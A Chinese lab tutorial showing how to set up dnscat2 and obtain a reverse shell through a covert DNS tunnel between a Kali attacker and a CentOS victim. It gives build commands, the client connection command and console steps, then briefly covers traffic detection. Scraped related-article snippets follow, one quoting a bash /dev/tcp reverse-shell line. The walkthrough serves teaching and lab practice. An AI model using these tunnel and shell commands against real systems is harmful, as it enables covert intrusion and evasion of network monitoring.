Dnscat2实现DNS隐蔽隧道反弹Shell
DNS介绍
DNS是域名系统(Domain Name System)的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
DNS的记录类型有很多,有A,AAAA,CNAME,MX,SOA,NS等。
DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。
A记录:A记录是用来指定主机名对应的ip地址记录,简单的说A记录是指定域名对应的IP地址。
AAAA记录:记录将域名解析到一个指定的ipv6的ip上
CNAME记录,别名解析。可以将注册不同的域名解析到一个ip地址。
NS记录:域名服务器记录,用来指定该域名是由哪个DNS服务器进行解析。
MX记录:指向的是一个邮件服务器。
TXT记录:一般是指某个主机名或域名的说明
PTR记录:反向DNS
DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。
本地客户端---->Local DNS server---->根域服务器
Dns解析过程:系统发出dns解析之前会先看看本地是否保存了相关域名的解析,系统检测到hosts文件中没有响应的域名解析的时候会发送给本地dns解析服务器进行解析,解析之前会看看缓存中是否存在,如果没有,再将解析请求发给下一个dns服务器。结果返回后将该域名的解析结果保存到缓存中。
Dnscat2工具介绍
Dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道。
Dnscat2分为client端和server端,client运行在被控机器上,server运行在DNS服务器上。client,server部分分别是用C,ruby写的。其中作者在实现client部分时实现了跨平台,支持linux和windows编译运行。在完成连接建立后可以实现建立shell,上传下载文件等功能。
Dnscat2工具下载
Dnscat2环境搭建
kali linux(服务端,攻击机) 192.168.2.101
centos7 (客户端,靶机)192.168.2.102
linux客户端搭建
$ git clone https://github.com/iagox86/dnscat2
$ cd dnscat2/client/
$ make
linux服务端搭建
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ apt-get install ruby-dev
$ bundle install
Dnscat2反弹shell
1、首先在服务端运行,
ruby /dnscat2.rb

2、客户端运行,成功后会显示Session established!
./dnscat --dns server=192.168.2.101,port=53 --secret=706f8a6c1950ea305a82c9d6d873b958
//./dnscat --dns server=xxxx(DNS服务器,kaili 2020 ip地址),port=53 --secret=706f8a6c1950ea305a82c9d6d873b958

3、服务端会显示window created:1

4、列出所有通道
windows

5、进入客户端1通道
window -i 1
//1表示客户端ID

6、建立反弹shell
shell

7、退出当前通道,进入shell
suspend //表示退出当前通道
windows
window -i 5
//进入shell通道后,可按ctrl+z退出当前shell

Dnscat2工具命令的使用
help可查看控制台支持的命令,常用的有:
- quit (退出控制台)
- kill (中断通道)
- set(设值,比如设置security=open)
- windows(列举出所有的通道)
- window -i (连接某个通道)
连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):
clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell)
download/upload(两端之间上传下载文件)
supend(返回到上一层,等于快捷键ctrl+z)
Dnscat2通信流量分析
1、捕捉dnscat2通信的流量

2、发现数据包中除了明显dnscat2之外,没有明显的攻击特征,都是加密过的

3、主要特征,解析的域名过长,是因为3级域名中含有通信的数据

参考链接
声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !
Dnscat2实现DNS隐蔽隧道反弹Shell的更多相关文章
- DNS Tunnel隧道隐蔽通信实验 && 尝试复现特征向量化思维方式检测
1. DNS隧道简介 DNS隧道技术是指利用 DNS协议建立隐蔽信 道,实现隐蔽数据传输.最早是在2004年 DanKaminsky 在 Defcon大会上发布的基于 NSTX 的 DNS隐蔽 隧道工 ...
- 使用DnsCat反弹shell
DnsCat技术特点 Dns隧道反弹shell DnsCat服务器的安装 #git clone https://github.com/iagox86/dnscat2.git #cd dnscat2 # ...
- linux下反弹shell
01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10 192.168.43.151 监听端 装有nc kali ...
- Linux下几种反弹Shell方法的总结与理解
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...
- 13. linux渗透之反弹shell
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
- AI安全初探——利用深度学习检测DNS隐蔽通道
AI安全初探——利用深度学习检测DNS隐蔽通道 目录 AI安全初探——利用深度学习检测DNS隐蔽通道 1.DNS 隐蔽通道简介 2. 算法前的准备工作——数据采集 3. 利用深度学习进行DNS隐蔽通道 ...
- linux 反弹shell
Linux下反弹shell笔记 0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或 ...
- 反弹Shell原理及检测技术研究
1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...
- 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。
反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹.假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规 ...
随机推荐
- docker-docker-compose 安装
1.安装docker-compose(官网:https://github.com/docker/compose/releases) 安装: curl -L https://github.com/doc ...
- Spark如何进行动态资源分配
一.操作场景 对于Spark应用来说,资源是影响Spark应用执行效率的一个重要因素.当一个长期运行的服务,若分配给它多个Executor,可是却没有任何任务分配给它,而此时有其他的应用却资源紧张,这 ...
- Anderson《空气动力学基础》5th读书笔记 第0记——白金汉PI定理
目录 量纲分析:白金汉PI定理 相似参数 量纲分析:白金汉PI定理 在空气动力学中,飞机的空气动力主要由自由来流的密度ρ∞,自由来流数V∞,翼弦长度c,自由来流的粘性系数μ∞以及音速a∞,所以假设我们 ...
- filezilla pureftpd 读取目录列表失败
放行 21, 39000 - 40000端口
- vue watch的用法
1.监听对象需要深度监听 ,如下代码可以监听整个msg对象的变化 watch: { msg: { handler(newValue, oldValue) { console.log(newValue) ...
- LoadRunner接口脚本web_submit_data编写过程中遇到的问题及分享
工作中需要接口测试,报文编辑器一条条手工发费时费力,因此考虑利用web_submit_data函数POST方法进行报文编辑.在报文编辑中主要遇到了三个问题,其中一个问题耗时两天查到问题所在,在这里与大 ...
- vue自定义指令 默认图片
/** * 检测图片是否存在 * @param url */ function imageIsExist(url) { return new Promise((resolve) => ...
- JAVA概述-JAVA入门基础
一.JAVA的历史 Java是1995年由Sun公司(现Oracle公司)推出的一门面向对象的高级编程语言.这门编程语言的Logo就像是一杯刚刚煮好的咖啡. Java最初期的开发是在1991年,最初的 ...
- swjtuoj2433 Magic Mirror
描述 Magic Mirror is an artificial intelligence system developed by TAL AI LAB,It can determine human ...
- SpringMVC 直接返回中文字符串时,出现乱码(?)的问题
在springmvc.xml中加入下面配置得以解决. <mvc:annotation-driven> <mvc:message-converters> <bean cla ...